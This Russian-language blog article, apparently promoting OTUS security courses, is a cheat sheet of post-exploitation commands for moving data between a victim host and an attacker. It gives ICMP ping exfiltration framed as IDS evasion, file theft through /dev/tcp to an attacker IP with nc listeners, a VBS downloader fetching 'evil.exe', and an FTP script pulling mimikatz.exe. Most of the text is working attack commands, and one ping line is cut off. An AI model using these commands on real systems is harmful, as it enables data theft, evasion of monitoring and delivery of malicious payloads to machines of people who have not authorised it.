Полезности для пентестера
Типичная история, когда вы проводите аудит безопасности, и хотите проэксплуатировать найденную уязвимость, либо просто разворачиваете учебный стенд и вам нужно срочно найти к примеру, рабочий скрипт загрузчика файлов через HTTP на Python, или PHP. Либо вам нужно выполнить какое-то простое действие, но вы не можете вспомнить синтаксис нужных команд.
Собственно, подобные проблемы могут возникнуть не только у пентестеров, но и у представителей защищающейся стороны, да и у администраторов тоже. Далее мы рассмотрим несколько примеров полезных скриптов и консольных команд, как для Linux, так и для Windows.
Обходим средства защиты
После успешного проникновения в атакуемую сеть хакеру необходимо организовать взаимодействие между сетью жертвы и собственным узлом. Причем это взаимодействие должно быть наименее заметным для средств защиты. Один из наиболее распространенных способов «обмана» IDS и различных анализаторов это использование инкапсуляции трафика. Если на межсетевых экранах разрешен протокол ICMP (а как правило данный протокол разрешают для задач диагностики доступности узлов) то мы можем инкапсулировать полезную нагрузку в пакеты ICMP и передать этот трафик наружу.
Конечно, существует множество утилит для реализации данного функционала, но мы договорились использовать только скрипты и команды. Мы будем передавать по четыре байта полезной нагрузки, хотя при желании можно увеличить этот объем до 16 байт. Байты будут передаваться вместе с командой ping, то есть по сути мы будем просто пинговать внешний узел.
На стороне жертвы выполняем следующий набор команд:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line
Команда xxd создаёт представление файла в виде шестнадцатеричных кодов байтов, при этом мы берем блоки по четыре байта. Далее мы в цикле пингуем узел атакующего, передавая полезную нагрузку.
Если на стороне жертвы все достаточно просто — мы выполняем пинг, то на стороне атакующего нам необходимо запустить небольшой скрипт, который будет принимать и обрабатывать запросы.
Здесь нам потребуется Python и библиотека Scapy. Слушаем трафик, смотрим тип ICMP пакетов и извлекаем полезную нагрузку.
from scapy.all import *
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
Таким нехитрым способом можно обойти сетевые анализаторы при передаче трафика.
Передача файлов
Еще один способ организовать передачу данных это использовать стандартные порты, например порт 80. Да, в этом случае нам необходимо отдельно позаботиться об инкапсуляции нашего трафика, так как сейчас мы будем передавать байты «как есть» по определенному порту. Но, для организации быстрой передачи данных эти команды тоже могут быть полезны.
Нам потребуется «устройство» /dev/tcp и по одной команде на каждой стороне.
В случае, если нам нужно загрузить файл с машины жертвы, то выполняем следующее:
На стороне атакующего у нас будет слушать порт 80 полезная команда nc:
nc -lvnp 80 > file
Ну, а на стороне жертвы перенаправим вывод следующим образом:
cat /path/file > /dev/tcp/10.10.10.10/80
А когда нам нужно загрузить файл на машину жертвы, выполним следующую команду на стороне атакующего:
nc -w5 -lvnp 80 < file_to_send.txt
На стороне жерты выполним следующее:
exec 6< /dev/tcp/10.10.10.10/80
cat <&6 > file.txt
Таки команды можно использовать, если на атакуемой машине используется Linux. Однако, на практике очень часто можно встретить ОС Windows, особенно на клиентских узлах.
Посмотрим пример создания скрипта, фактически реализующего функционал wget, то есть, позволяющего загрузить нужный файл через HTTP.
Здесь общий принцип работы достаточно прост. Мы с помощью команды echo выводим нужные команды в создаваемый файл скрипта wget.vbs. Здесь главной проблемой может оказаться отсутствие или несовместимость объектов WinHttp.WinHttpRequest, MSXML2.ServerXMLHTTP и других.
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
В итоге мы можем загрузить на машину жертвы файл с веб сервера с помощью данного скрипта:
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
Старый добрый FTP
Еще один распространенный протокол для передачи файлов это FTP. Несмотря на то, что это довольно старый протокол, его по-прежнему используют во многих организациях и соответствующие порты не заблокированы на межсетевых экранах. Так что его тоже можно безнаказанно использовать для передачи файлов из атакуемой сети на узел злоумышленника.
На стороне атакующего нам понадобится FTP сервер. Можно установить, к примеру pure-ftp.
apt-get update && apt-get install pure-ftp
Для корректной настройки выполним следующий набор команд:
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
В качестве примера использования рассмотрим написание VB скрипта под Windows. Принцип здесь будет тот же. Мы формируем текстовый файл с командами для FTP, и затем используем штатную команду FTP с параметрами из этого файла. В самом текстовом файле у нас просто набор команд для взаимодействия с FTP сервером.
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
HTTPS сервер
И в завершении рассмотрим быстрое развертывание простейшего веб сервера с использованием SSL шифрования. Его можно развернуть на стороне атакующего и передавать на него данные в зашифрованном виде.
Для этого нам потребуется сгенерировать файлы ключей с помощью следующей команды:
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
Ниже приводится код скрипта:
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
Далее необходимо просто запустить скрипт веб сервера:
python simple-https-server.py
А убедиться в его работоспособности можно просто обратившись к серверу по порту 443.
Заключение
Мы рассмотрели несколько полезных скриптов и команд, которые позволят быстро настроить передачу данных и файлов между узлом атакующего и жертвы. Эти инструменты могут быть полезны, когда необходимо быстро развернуть нужный функционал.
Больше практических инструментов мы с коллегами из OTUS рассматриваем в рамках практических курсов по информационной безопасности. С полным каталогом курсов можно ознакомиться по ссылке.